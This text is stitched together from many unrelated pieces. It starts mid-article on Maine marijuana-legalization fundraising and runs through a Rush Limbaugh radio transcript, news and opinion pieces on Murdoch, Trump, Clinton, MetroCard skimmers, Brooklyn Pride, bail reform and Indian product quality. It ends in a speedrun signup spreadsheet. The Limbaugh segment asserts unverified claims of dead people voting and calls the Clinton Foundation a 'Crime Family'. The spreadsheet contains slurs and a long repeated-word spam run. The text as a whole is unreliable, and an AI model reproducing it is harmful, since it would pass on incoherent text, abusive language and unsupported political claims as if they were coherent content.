Marijuana Policy Project’s proposal in some ways, allowing adults 21 and older to possess unlimited quantities of marijuana in their homes and carry up to 2.5 ounces in public, taxing marijuana at 8 percent. The Marijuana Policy Project’s plan would limit public possession to 1 ounce of marijuana and six plants in homes and places a 10 percent tax on top of Maine’s 5.5 percent sales tax.  Meanwhile, two other efforts sponsored by Democratic state representatives from Portland are making their ways through the Maine Legislature. Mark Dion’s plan, which is backed by medical marijuana dispensary operators, would limit retail stores statewide to 20 and tax marijuana at 15 percent, while details of Diane Russell’s bill haven’t been released.  The Marijuana Policy Project backed the successful 2012 and 2014 legalization referenda in Colorado and Alaska, respectively. In Colorado, it contributed nearly $1.6 million to the winning campaign, according to the National Institute on Money in State Politics. In Alaska, it contributed $765,000 — nearly 84 percent of the total, according to state finance records — and the campaign spent more than $600,000 on TV and other forms of advertising.  However, Boyer said his committee has been focused on drafting their ballot initiative that rolled out in late March, saying “fundraising hasn’t been a priority” and that it won’t be as reliant on the Marijuana Policy Project going forward.  Legalize Maine’s money came completely from Maine donors with $12,000 coming from Franklin County. Narrow Gauge Holdings and Home Grown Connection, two Farmington businesses run by Lucas Sirois of Rangeley, gave a total of $7,500 to the effort, while Hight, a General Motors dealership in Farmington, contributed $500.  McCarrier said the group raised $10,000 more than he budgeted for the first period and hopes to raise $300,000 by the end of the campaign. He said his side has good momentum early on.  “I think a lot of it is because people are really excited that there’s an alternative to the D.C. group,” he said.  Michael Shepherd — 370-7652  [email protected]  Twitter: @mikeshepherdme  Share
-Follow the Money to Figure Out Why the Clintons Are Encouraging the Recount  RUSH: Now Trump’s out there and he’s saying that millions of illegals voted. And, by the way, we know that dead people have voted in every election, usually for Democrats. There’s election fraud out there. These are the people who usually tell us to be on the lookout for it, the Democrats. They’re the ones that staff every polling place with lawyers galore. Now they’re acting like there’s never any fraud, there’s never any irregularities, and Trump’s insane.  I think he’s got these people spinning in circles. (interruption) Investigation to what? (interruption) Oh, they are, they are. There are some people calling for an investigation now. In fact, it’s the old Tom Foley line. I saw it… It’s in the New York Daily News today, and it’s either a column or a story. Some of these charges Trump’s making are so incendiary, an investigation is required now. Meanwhile, Michigan’s been certified. Trump’s at 306 electoral votes. There’s nothing this pathetic Jill Stein can do.  You know what I think this is about now? There was a Ron Fournier tweet yesterday. I had it in the Stack. I didn’t get to it: “Raising doubts about legitimacy of election, even w/out overturning result, is part of Clinton’s plans to keep her options open for 2020.” So Ron Fournier says that Clinton’s team getting involved with Jill Stein is not for overturning the election. In fact, there’s a story that a lot of Democrats are getting fed up with this recount business. They think it’s a distraction and not good for them.  But Fournier’s theory here is that Hillary getting involved, sending her people to help Jill Stein get involved in all this, is nothing more than Hillary staying in the game and keeping her options open for 2020. If that’s true, it’s about something else. It’s about lucre. It’s about money. I have a story in the Stack that all donations to the Clintons Crime Family Foundation from Austria have ceased. There are none. They have pulled out.  I think if Fournier is right that Hillary’s trying to stay in this game ostensibly for her political electoral options in 2020, what it’s really about is Hillary staying in the game to be able to raise money for the foundation, because that’s all the Clintons know, folks, is raising money, getting people to give them money. And that has been brought to a screeching halt by virtue of the election results.  So Hillary floating that she wants to keep the 2020 options open is simply a mechanism whereby she can go out and continue to ask dupes all over the world to keep sending money to the Clinton Foundation under the guise or the auspices that she may get elected someday and be able to pay back the donations. It’s just a continuation of the scam, and I think when you’re looking at the Clintons and trying to figure out why they do what they do you have to first zero in on the money. They have made that abundantly clear.  BREAK TRANSCRIPT  RUSH: Another thing that I’m a little confused by, folks. Aren’t the same people who are claiming that the Russians hacked our elections and stole the election for Trump, the very same people who said that the Russians would never be able to hack Hillary’s unprotected, secret email server? Remember when that possibility was raised, the email server story broke? “Oh, my God, you think people could hack that? Oh, for crying out loud! It’s not possible! No, no, no,” they assured us.  “The Russians would never be able to hack Hillary’s unprotected server in the bathroom at the family compound in Chappaqua.” Really? Okay. But the Russians could easily hack our voting booths? And, by the way, some of these states, they’re paper ballots only. How did the Russians hack paper ballots? How do you hack paper ballots?
-LONDON, April 26 (Reuters) - Scotland is likely to win self rule in the next few years while the economic divide between the international powerhouse of London and the rest of the United Kingdom will deepen, media tycoon Rupert Murdoch said on Sunday.  Murdoch, whose global media interests stretch from movies to newspapers that claim to turn elections, visited Scotland on the eve of the Sept. 18 independence referendum last year and praised the country of 5 million people for its lively debate.  Scots rejected independence in that referendum, but the Scottish National Party is now forecast to win the majority of Scotland’s seats in the United Kingdom’s May 7 election, potentially making it the third largest party in Westminster.  “Scots may be crazy or not wanting self rule, but who can deny right of self determination?” Murdoch, 84, wrote on his Twitter feed. “Feels inevitable over next few years.”  “UK already seems 2 countries, London and the rest!” he said.  Murdoch’s paternal grandparents were Scots who emigrated from Aberdeenshire in northeast Scotland to Australia in the 19th Century. He is executive chairman of News Corp, the New York-based owner of the Wall Street Journal and HarperCollins.  Murdoch’s political influence in Britain was once legendary and though the billionaire has said a phone hacking scandal was a blot on his reputation, he retains considerable clout through his stable of British newspapers.  He also cautioned Prime Minister David Cameron that a failure to win a majority in the 650-seat Westminster parliament for the Conservatives would lead to a challenge from within his party.  “Failure to win majority against either (Gordon) Brown in crisis or (Labour leader Ed) Miliband would mean chop for Cameron. Open talk today in party and press,” Murdoch said.  Cameron won 306 seats in the 2010 election, defeating then Labour prime minister Gordon Brown but failed to win an outright majority. Current polls indicate neither Cameron’s Conservatives nor Miliband’s opposition Labour Party will win a majority.  Murdoch’s guess for the election result? He said he thought the Conservatives would win 294 seats, Labour 265, the SNP 48 seats and Liberal Democrats 25.  “Scots probably will hold the balance,” Murdoch said.  A spokesman for News Corp did not immediately respond to request for comment on Murdoch’s remarks. (Editing by Andrew Osborn)
-The opinions expressed by columnists are their own and do not represent the views of Townhall.com.  Hillary Clinton is now setting a campaign theme that should provide a golden opportunity for Republicans, if Republicans play their cards right.  "We don't need to make America great. America has never stopped being great," says Clinton.  But this doesn't reflect how most Americans now feel. The percentage saying they are satisfied with how things are going in the country has averaged less than 30 percent since 2007, according to Gallup.  The victor this November will be the candidate who can crystallize for voters what is wrong in America and how to fix it.  That Clinton wants to start out pretending there aren't big problems that have diverted our country from its exceptional potential means she can be defeated. But we need the right Republican to deliver this message.  Do I think Donald Trump, currently dominating the Republican field, can do this? No, I don't.  There are few surprises left about Hillary Clinton. We already know about her misuse of classified information as secretary of state. We know that she lied about what happened in the sacking of the American diplomatic compound in Libya and the murder of our ambassador. And we know how this so-called feminist hung on to her pathologically promiscuous and unfaithful husband because she needed his political coattails.  But we are just now learning about Trump. Why has it taken so long to pull back the curtain to expose the wizard of scam? In any case, it is starting, and we are seeing just the tip of the iceberg. We've learned that the man who says he'll build a wall to keep out Mexicans, and make Mexico pay for it, employs illegal workers on his projects. We know about the bait-and-switch scam that was Trump University, swindling tens of thousands from would-be students.  Should there be a Clinton-Trump race, it will be the first time, to my knowledge, that we'll have a presidential campaign where one candidate, Republican Trump, made large campaign contributions in the past both to his opponent, Democrat Clinton, and to her party.  Perhaps it is the formidable intimidation power of Trump and his machine that has kept the press and his opponents at bay for so long.  Perhaps the liberal press intentionally has kept its powder dry, savoring the prospect of a Clinton-Trump face-off. The Clinton campaign's research apparatus won't hold back. One can only imagine the tsunami of dirt about Trump and his business dealings that will be unleashed once they get started.  But the most powerful damage will be done when Americans, who really do understand that America is a great country that has lost its way, learn how little Donald Trump cares about the values and principles that do make our country great and exceptional. We might start with his recent hesitation to condemn and dissociate from David Duke and the Ku Klux Klan. Or his threat to sue journalists and others who disagree with him.  As we mourn the loss of the great conservative Justice Antonin Scalia, it looms large that Scalia was in the conservative minority opposition in the 5-4 Supreme Court 2005 decision on the case of Kelo v. City of New London. The court decided government can confiscate private property and turn it over to private developers.  Scalia said only two other Supreme Court decisions departed so wildly from the words of the Constitution: the Dred Scott decision, which declared African-Americans essentially sub-human and ineligible for American citizenship; and Roe v. Wade, which legalized abortion in all 50 states.  Yet Donald Trump said he agrees "100 percent" with the Kelo decision, aligning himself with the liberals on the Court and against Scalia.  Americans do want to make our country great again. But if Republicans don't nominate a candidate who represents what that means, we may be looking at another left-wing Clinton White House.
-Escaping into virtual reality is now as easy as typing a URL into your browser.  Google announced that VR experiences will be more widely available on Chrome in a blog post on Thursday. With the new update, the company said it's now "as easy to step inside Air Force One as it is to access your favorite webpage."  The update integrates a technology called WebVR, which allows VR experiences to be hosted on websites. WebVR is supported by industry giants like Firefox, Samsung, Facebook and Microsoft in addition to Google. Adding it to Chrome is a huge step in giving VR creators a larger platform to showcase the experiences they design.  SEE ALSO: How we tell stories in virtual reality keeps evolving  If you have one of the few Daydream-ready phones and a Daydream View headset, you can just browse to a VR experience of your choice, select the VR option and put the phone in your headset. If you're missing a headset, you can watch VR content on any phone or computer with Chrome and interact using your finger or mouse, though obviously that's less immersive.  There are already a few VR-enabled sites that you can try, like Bear 71, which explores the intersection between humans, animals and technology, and Matterport, the largest VR library of real-world places.  Image: bear 71 / google  Several award-winning experiences can be found on Within, and there are more than a million 3D scenes in VR on Sketchfab. The WebVR Lab from PlayCanvas is an experimental playground where you can try experiences like playing a record with your Daydream controller.  Image: playcanvas/google  Support for Google's own Cardboard and other headsets will be coming soon.
-NEW YORK (CBSNewYork) — Subway riders beware – the Metropolitan Transportation Authority has uncovered another skimming device at a MetroCard vending machine – this time at the busy 59th Street-Columbus Circle stop in the heart of Midtown.  The discovery prompted the MTA to look at each and every subway station to see if the skimmers were there too.  Skimming Device Found On MetroCard Machine At 59th-Columbus Circle Subway Station  The device, along with a hidden camera, was discovered around 9:30 p.m. Wednesday on the vending machine at the north end of the southbound No. 1 train platform at the station, the MTA said in a news release.  An unidentified customer found the device with its intricate web of wires inside the card reader, took it out of the machine, and gave it to the station agent on duty, the MTA said. The hidden camera was wired to shoot images through a pinhole inside a plug adapter mounted above the machine.  Skimmers steal information from the magnetic strip on credit and debit cards. Then, the tiny cameras record pin numbers as people punch them in.  As CBS 2’s Jessica Schneider reported, MetroCard buyers were disturbed to learn of the scam.  “They put this in here so we can actually move along the city quickly, and now we can’t even trust it?” said Erica Coleman of the South Bronx.  New York City Transit urged anyone who purchased a MetroCard at that location using a credit or debit card to check immediately with their bank or credit card company to check their accounts for any unauthorized activity.  The agency has already dispatched staff to check MetroCard vending machines throughout the system for other devices, the MTA said.  “As was the case yesterday, we continue to ask our customers ‘If You See Something, Say Something,’ particularly if they notice any suspicious activity or device in our system,” MTA New York City Transit President Carmen Bianco said in a news release.  Police said earlier this week that they are seeking a suspect after similar skimming devices were found at the Long Island Rail Road station in Baldwin.  Workers found the card skimmers and tiny hidden cameras last week during a routine inspection, police said.  On Monday, MTA police said a man who has been identified as Vasile Ovidiu Haidau, 35, was seen tampering with a ticket machine at the Baldwin station.  When officers tried to stop him, police said he took off. He was last seen driving west on Sunrise Highway in a 2004 blue Volvo S80 rental car with NY plates GKR5959.  Haidau is a Romanian national who is believed to be part of a credit card and identity-theft ring whose members were previously arrested in California in 2013, police said.  He has a revoked visa and is known to travel with another white man in Brooklyn, Queens, Manhattan and Long Island, police said. Haidau is not known to carry weapons, but police said he should be considered dangerous.  In the wake of the incidents, police told commuters all over the Tri-State Area to check their credit card statements and try to use cash.  “If you do the old school way, you know, stick with cash — it’s much easier, it’s much safer,” said Kyle Enriquez of Ronkonkoma.  “I’m a little shocked and a little bit outraged because, you know, we are trusting the Transit Authority to, you know, protect us from these things,” said Gabrielle Everette of the Upper West Side.  Authorities have not identified any suspects in connection with the skimming device at the 59th Street-Columbus Circle subway station.  Check Out These Other Stories From CBSNewYork.com:
-Speaking at his first news conference since winning the presidential election, Donald Trump defended his decision not to release his tax returns, saying the American people "don't care at all." (The Washington Post)  At his presser today, Donald Trump confirmed the very worst fears of ethics experts, announcing a new arrangement for his business holdings that is designed to garner nice headlines but is unlikely to do much to reduce the possibility of conflicts of interest and, possibly, full blown corruption.  Trump did nothing to address the central ethical problem he faces: He will not divest himself of his holdings, only transferring control of them to his two sons. The Post sums up the arrangement:  Trump will shift his assets into a trust managed by his sons and give up management of his private company…. The announcement included a pledge from a Trump lawyer that the company would make “no new foreign deals whatsoever” during Trump’s presidency, and that any new domestic deals would undergo vigorous review, including approval by an independent ethics adviser. But Trump’s commitment will not resolve what federal officials and ethics advisors say is his most key conflict: His continuing ownership of his business, the Trump Organization. That will ensure Trump will still have a vested financial interest in a global private company when he takes office next week. Sheri Dillon, a tax advisor at Morgan Lewis, said Trump has sought to completely isolate himself from the business and “will only know of a deal if he sees it in the paper or on TV.” But he will not sell the business or his stake, adding, “President-elect Trump should not be expected to destroy the company he built.”  [Donald Trump has his own ‘birther’ crisis]  Take two key provisions here, the idea for a new ethics adviser that would sign off on new deals, and the pledge to “isolate” himself from the business to the degree that he won’t know about any new deals unless he reads about them in the media. The problem is obvious: Even if Trump takes these steps, and even if he does transfer his holdings into a trust managed by his sons, he still knows what his business holdings are, regardless of whether he knows about any “new” deals or whether any such new deals pass muster with his ethics adviser.  That means that much of the potential for conflicts remains in place: Trump will be making regulatory decisions impacting businesses (such as banks) that are entangled with his own. He will be setting American policy in countries where he retains holdings. Trump’s businesses could even directly benefit from Trump policies. Only full divestment would have sufficed to ward off potential conflicts in these areas.  “The Trump plan falls short in every respect,” Norm Eisen, the former ethics watchdog in the Obama administration, emailed me. “Trump did not make a clean break with his business ownership interests as his predecessors for four decades have done.”  “Trump’s ill-advised course will precipitate scandal and corruption,” Eisen added.  1 of 74 Full Screen Autoplay Close Skip Ad × Here’s what President-elect Donald Trump has been doing since the election View Photos He has been holding interviews and meetings as he prepares to enter the White House. Caption He has been holding interviews and meetings as he prepares to enter the White House. Jan. 19, 2017 President-elect Donald Trump and his wife, Melania, visit the Lincoln Memorial before the “Make America Great Again” concert. Jabin Botsford/The Washington Post Buy Photo Wait 1 second to continue.  Making things even worse, nor did Trump make any vows of increased transparency into his holdings. Trump once again rebuffed calls to release his tax returns, which might have helped create such transparency, and didn’t announce any additional steps to provide it in any other way. This means another core problem remains: Because we aren’t privy to the full scope and range of those holdings, we simply cannot know whether such conflicts — or corruption — are taking place in any given situation.  [Trump’s non-solution to his conflicts of interest and emoluments problems]  “As long as president-elect Trump maintains ownership of his businesses, he will know when tax or regulatory or policy changes benefit his bottom line,” Noah Bookbinder, the executive director of Citizens for Responsibility and Ethics in Washington, told me today. “He will also know when policy decisions will benefit him by benefiting other companies whose interests are tied up with his, or benefiting foreign countries whose interests affect his businesses.”  “Even worse, because we don’t know the scope of his interests, we won’t even know it when there’s such a situation where such a conflict is possible or happening,” Bookbinder added.  We appear to be entering into truly uncharted territory. The vast extent of Trump’s global holdings, combined with their opacity, create both a level of potential for conflicts, and an inability for us to track those conflicts, that render all efforts to predict the consequences utterly hopeless.  It is hard to say what will happen now. The role of the press in trying to keep track of those conflicts will be crucial. But on that front, too, what we saw at today’s presser was cause for alarm. Trump tore into CNN as “fake news” for publishing a careful if provocative and envelope-pushing story on unverified claims that Russian intelligence gathered compromising information on him. Trump ferociously attacked Buzzfeed for publishing a dossier of those claims, pointedly noting that Buzzfeed would “suffer the consequences.”  That would be worrisome enough on its own. But combine it with Trump’s unprecedented dishonesty and his refusal to revise his claims when they are widely called out as false, and it all starts to smack of an effort to stamp out the very possibility of shared agreement on the legitimate institutional role of the news media or even on reality itself. It’s easy to imagine that, if and when a news organization uncovers potential conflicts, Trump will simply deny the reality of what’s been uncovered (“fake news”) and begin threatening “consequences” towards that organization.  One thing that remains clear: Congressional Republicans are not going to step up and try to mitigate this situation. Republicans are not going to take any of the steps they could be taking to try to prod Trump into showing more transparency about his holdings, which would make conflicts and corruption less likely. It’s hard to see that changing, unless, perhaps, intensified media scrutiny shakes loose enough scandalous stories to make the lack of congressional action untenable. That will also require public pressure — of the sort that forced Republicans to reverse recently on their plan to gut an independent ethics oversight office, but probably a lot more.  Right now, serious pessimism appears to be a reasonable default setting. I could be entirely wrong about this — maybe Trump really will surprise us. If not, our institutions are going to be tested in unforeseen ways, and it will be on us — through vigilance, organizing, and political action — to make sure they are up to the task.
-Members of Sirens, a Brooklyn-based women’s motorcycle club, leads off parade. Eagle photo by Andy Katz  A Pride Parade Grows in Brooklyn  To purchase higher resolution photos from this event, please go to brooklynarchive.com  Safe from both the brutal pre-summer sun and the swirling controversies about honoring terrorists versus satisfying an important constituency on Puerto Rico Day, NYC elected officials marched behind multihued banners and waved rainbow flags in Brooklyn’s 21st Pride Parade on Saturday evening.  Sponsored by the Fifth Avenue BID and produced by Brooklyn Pride, Inc., Pride Parade is New York City’s only evening parade, kicking off at 7:30 p.m., after the sun has descended past the brownstones and classic storefront facades. There’s always a stealth aspect in the beginning, not seen in its Manhattan counterparts, where floats and crews and bands assemble in side streets well in advance of the procession. NYPD starts barricading side streets that lead to Fifth Avenue from Lincoln Place to Ninth Street, but at first it’s unclear why.  People gradually fill the street, mainly around spots such as Ginger’s Bar between Fifth and Sixth Streets and further down by Brooklyn Industries on Union Street and Fifth Avenue. It isn’t until the procession actually begins — led this year by NYC’s oldest and largest women’s motorcycle club, the Sirens MC (which has also led off the larger, more storied NYC Pride March since 1987) — that humanity seems to explode onto Fifth Avenue.  Families with small children whose faces are gaily painted stand alongside drag queens in gossamer finery, or mingle with tattooed women wearing snug muscle-T-shirts and middle-aged same-sex couples who stroll down holding hands from their Prospect Park-facing brownstones. Working stiffs just off shift perch on cement planters or squat along the curb and hipster diners take advantage of restaurants and lounges that sport large open facades to fill tables near the entrance for a prime spot to watch the procession.  In addition to the Sirens MC, grand marshal duties were shared by activist Ron B. sporting her signature Tina Turner kit and Michael Camacho, regional director of pharmacy sales at AIDS Healthcare Foundation.  Acting Brooklyn District Attorney Eric Gonzalez was one of the first public officials in the line of march. In fact, with his campaign to remove “Acting” from his title, collecting endorsements from across the board, Gonzalez seemed to be everywhere at once. Passing by one moment and then reappearing in the procession to walk with another group, the candidate seemed composed of happy energy.  Mayor Bill de Blasio and Chirlane McCray stayed well back, marching behind a City Council contingent consisting of Daniel Dromm, Corey Johnson, Carlos Menchaca and Antonio Reynoso. Either arriving too late to catch the City Council banner, or just wanting some alone time, Councilmember Ydanis Rodriguez marched solo, with only his little son riding dad’s shoulders for company. Also marching were Public Advocate Letitia James and Comptroller Scott Stringer.  State Assemblymember Jo Anne Simon rode atop a float with a model of the Brooklyn Bridge’s South Tower and Brooklyn Democratic Chair Frank Seddio, both tossing plastic beaded necklaces to parade watchers.  Without precise tallies it’s hard to be certain, but each year Brooklyn Pride seems larger and happier than ever. And of course, Brooklyn’s Fifth Avenue is no match in size for its Manhattan counterpart — naturally, it fills quickly and requires fewer bodies to appear overwhelming — but with continued support from elected officials all over the five boroughs, it continues to surprise and delight the senses with unscripted pride and fun.  * * *  Elected Officials and Civic Leaders March in Brooklyn Pride Day Parade  By John Alexander  Saturday was Brooklyn Pride Day and hundreds of revelers flooded the streets of Park Slope to wave their rainbow flags and join in the day-long celebration. The parade-watchers proudly displayed their colors as elected officials, civic leaders and members of the lesbian, gay, bisexual, transgender, queer, intersex and asexual/allies (LGBTQIA) community marched along the parade route.  This year’s parade grand marshal was transgender actor and LGBT activist Ron B.  The parade began at Lincoln Place and Fifth Avenue as elected officials and LGBTQIA supporters addressed the crowd. A representative from Gov. Andrew Cuomo’s office presented the LGBTQIA community with a proclamation.  Public Advocate Letitia James, Comptroller Scott Stringer, Councilmember Carlos Menchaca and the New York City Council spoke about gay rights and freedom from discrimination.  Also attending the event were Kings County Democratic Chairman Frank Seddio; Brooklyn Borough President Eric Adams; U.S. Rep. Nydia Velázquez; Acting District Attorney Eric Gonzalez; Assemblymembers Jo Anne Simon and Robert Carroll; Connie Mallafre Melendez, who is running for Kings County Civil Court; Councilmember Vincent Gentile; and City Councilmember candidate Kevin Peter Carroll.  The parade made its way along Fifth Avenue towards Ninth Street where marchers and well-wishers shook hands and hugged.  The Lambda Independent Democrats (LID) of Brooklyn also joined the parade. LID is Brooklyn’s largest LGBTQIA political organization. It was founded by a group of activists in Boerum Hill in 1978 and has grown to become one of the state’s largest LGBTQIA political clubs.  Stringer and Menchaca were among those who spoke to the group. They discussed the future of the gay rights movement and the need for groups like LID to keep fighting for the rights of the LGBTQIA community.
-MONTGOMERY, Ala. — In a case that has the potential to reshape bail practices across the United States, the Southern Poverty Law Center (SPLC), the American Civil Liberties Union, the ACLU of Texas, and the Lawyers’ Committee for Civil Rights Under Law on Thursday joined 11 other organizations in filing friend-of-the-court briefs in the 5th U.S. Circuit Court of Appeals, asking the court to affirm a district court judge’s April decision that prevents Harris County, Texas, from holding misdemeanor defendants in jail simply because they cannot afford bail.  In May 2016, the Civil Rights Corp filed a federal lawsuit challenging “pay or stay” money bail practices in Harris County on equal protection grounds. The county is home to Houston, the fourth-largest city in the nation. On April 28, 2017, following an eight-day trial, U.S. District Judge Lee H. Rosenthal granted the plaintiffs’ amended motion for preliminary injunction, finding Harris County’s bail system unconstitutional and discriminatory against the poor.  She also certified the matter as a class-action lawsuit. Harris County has appealed the preliminary injunction to the 5th U.S. Circuit Court of Appeals. Six states, as well as the American Bail Coalition, Professional Bondsmen of Texas, and Professional Bondsmen of Harris County have filed amicus briefs in support of Harris County and reversal of the district court’s decision.  “Harris County’s bail system is another example of a local government punishing poor people because they could not buy their way out of jail before their trial,” said Micah West, staff attorney for the SPLC, which has successfully encouraged 75 Alabama cities to change their money bail practices. “This process brazenly prioritizes money over liberty. It fails to take into account whether a defendant is a flight risk or a danger to public safety.”  The case was initially filed by the Civil Rights Corps on behalf of Maranda O’Donnell, a young mother who was detained in the Harris County Jail when she could not afford to post $2,500 bail after being charged with driving with a suspended license.  On June 7, U.S. Supreme Court Justice Clarence Thomas denied Harris County’s application to stay a preliminary injunction issued by a federal judge that required the release of people who were awaiting trial on misdemeanor charges and could not pay bail. Hundreds of people charged with minor offenses have been released from jail following the order.  “The Constitution guarantees a basic right to equal treatment under the law. Money bail makes that impossible,” said Brandon Buskey, senior staff attorney with the ACLU’s Criminal Law Reform Project, which won a settlement in June that stops four Mississippi counties from jailing felony defendants because they can’t afford bail. “In Harris County, Texas, and in too many other places around the country, those who can pay go home. Those who can’t pay face a cruel dilemma: remain in jail for weeks or months or plead guilty.”  “High rates of pretrial detention are a driving force for mass incarceration,” said Myesha Braden, acting director of the Criminal Justice Project for the Lawyers’ Committee for Civil Rights Under Law. “Far too often, bail determination decisions are influenced by stereotypes and racial bias that unjustly target African Americans and Hispanics. As a result, African Americans, Latinos and other racial minorities are entrapped in a cycle of escalating debt and unnecessary incarceration. The wealth-based bail bond scheme in Harris County highlights these systemic injustices in our criminal justice system, and they must end.”  “Harris County’s bail procedures are an affront to the bedrock constitutional principle of equality before the law,” said Edgar Saldivar, senior staff attorney of the ACLU of Texas. “Instead, the county effectively has two justice systems, one for the rich and one for the poor, which can deprive legally innocent people of their homes, families and livelihoods simply because they cannot produce enormous sums of bail money they cannot afford. It’s wrong, it’s unconstitutional, and given the availability of sensible and effective alternatives, totally unnecessary.”  The case illustrates a national effort to end unconstitutional money bail practices. U.S. Sens. Kamala Harris and Rand Paul introduced a bill last month that would provide incentives for state and local governments to replace or reform their money bail systems.
-There was a time when India’s workmanship was the benchmark for quality around the world. For centuries, handmade silks, unique jewellery pieces, brocades, tapestries and carpets from India were sought-after items around the world. Mulmul khaas—the diaphanously fine clothing of emperors—known to the world as Dhaka muslin and Kashmiri pashmina shawls were of such high quality that they were considered to be woven from the wind. In contrast, my grandfather used to tell me tales of how when he was a boy about a hundred years ago, Japanese electrical products were considered shoddy and synonymous with poor quality. British colonization of India, industrial mass production and the changeover from artisanal quality management to statistical quality control dramatically altered this relative equation.  Even though Japanese artisanal quality —calligraphy, kimono design, weaving, pottery and rice painting to name only a few—is legendary, the modern quality focus traces back to General Douglas MacArthur’s recruitment of Homer Sarasohn to improve the manufacturing processes of Japanese radios so that they could be used for public education. Sarasohn on return to the US recommended that W. Edwards Deming provide courses on statistical quality control to the Japanese engineers. Deming was, in turn, followed by Joseph Juran who expanded the quality concept to the total organization—total quality management (TQM). And so, modern quality management was born and adopted to perfection in postwar Japan. Some well-known elements of TQM are that quality should trump short-term profits, that the customer comes first, that decisions are based on facts and data, that employees should be on the front line of recommending process changes and that management is both accountable and participatory.  Independent postwar India was so absorbed in staying united and fighting social injustice that it sidelined any interest in the quality of its products or services. Combined with an import-substitution mindset, a newly industrializing India abandoned its historical artisanal quality but did not replace it with a modern obsession with quality. As the decades since independence have passed, this general apathy has been compounded by corruption—dramatically corroding the quality of public-service delivery.  Stories abound. Each of us encounters shoddy quality and poor implementation on an everyday basis. Garbage is not picked up on our streets, roads are dug up and not redone, train compartments and platforms are filthy and the postal system is unreliable. The popular perception that the lack of quality and a widespread implementation deficit are the failures of government is far from the truth. Private-sector (voice) mobile service has gone from being among the best in the world to being among the worst: this is to say nothing of crawling Internet speeds and ultra-expensive but poor data services. Service from private-sector banks is poor with pro-activity only being displayed on selling products without any understanding of what the customer needs. Speak not of our hoteliers, who provide the middle-class Indian with unclean rooms, filthy toilets and mediocre service. Every type of institution attempts to cheat if it can get away with it—and in so doing denies the customer a quality experience.  Major projects and schemes are announced with great fanfare but usually haphazardly and partially delivered: for instance, the road to the airport in Bengaluru is well paved but has bottlenecks each day at the Hebbal flyover, the gains of the National Rural Employment Guarantee Scheme are eroded by rampant corruption and shoddy implementation, and primary education in India is abysmal with rank-poor learning outcomes. The latest addition to this list of shoddy delivery is the 2016 demonetization. Everyone it appears has an opinion on the economic implication of this but the biggest implementation failure is the deviant design of the new notes that necessitates a new ATM tray. That has extended what should have been a two-three day dislocation to a two-month or more issue.  India’s quality and implementation deficit is not cultural. It is currently endemic to government, business and society, but it can change. In an earlier column titled “India’s Derailed Projects", I suggest that this change will require (1) transparency (2) accountability/competition (3) enforcement and (4) pride. These elements taken together keep the customer and the citizen at the centre of every product and service. Pride in a job well done or excellence in a product or service is the glue that binds a system of implementation and quality together.  Democracy has correctly encouraged us to be tolerant of our heterogeneity. Unfortunately, it has also created a culture of compromise and adjustment on shoddy implementation. Alas, we are becoming intolerant of our diversity, but even more tolerant of shoddy implementation. Even as we celebrate our differences, we must hold our public service to a higher standard and ensure free and fair competition among our private-sector providers of product and service. We, each one, must demand and provide, service and product that meet not merely a standard of statistical quality but one that we can justifiably be proud of.  P.S. “Quality is pride of workmanship", said Edward Deming, awarded the Order of the Sacred Treasure in 1960 for his contribution to Japan’s quality revolution.  Narayan Ramachandran is chairman, InKlude Labs. Read Narayan’s previous Mint columns at www.livemint.com/avisiblehand
-1 Timestamp Who are you, bud? (If you dont put an exact name then you'll be ignored(Unless I know you)) What game, m8? How long, dude? When can you do your run? (Marathon is 18~22nd of July) Anything else you wanna add  2 submit fags http://bombch.us/l07  3 6/30/2014 3:12:18 Jelatinz WarioWare, Inc.: Mega Microgame$! 32:30 anytime nigga gonna get the wr  pls dont end my run early again  4 6/30/2014 3:12:32 bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl 